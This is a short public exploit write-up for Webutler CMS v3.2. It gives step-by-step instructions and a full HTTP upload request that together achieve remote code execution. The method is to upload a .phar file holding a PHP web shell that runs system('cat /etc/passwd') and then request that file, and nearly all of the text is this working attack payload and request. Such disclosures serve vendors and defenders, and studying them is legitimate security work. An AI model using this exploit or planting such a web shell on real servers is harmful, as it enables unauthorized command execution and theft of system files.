Exploit Title: Webutler v3.2 - Remote Code Execution (RCE) Application: webutler Cms Version: v3.2 Bugs: RCE Technology: PHP Vendor URL: https://webutler.de/en Software Link: http://webutler.de/download/webutler_v3.2.zip Date of found: 03.08.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. login to account as admin 2. go to visit media 3.upload phar file 4. upload poc.phar file poc.phar file contents : <?php echo system("cat /etc/passwd");?> 5. Visit to poc.phar file poc request: POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1 Host: localhost Content-Length: 40 sec-ch-ua: sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 X_FILENAME: poc.phar sec-ch-ua-platform: "" Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/webutler_v3.2/admin/browser/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropolu Connection: close <?php echo system("cat /etc/passwd");?>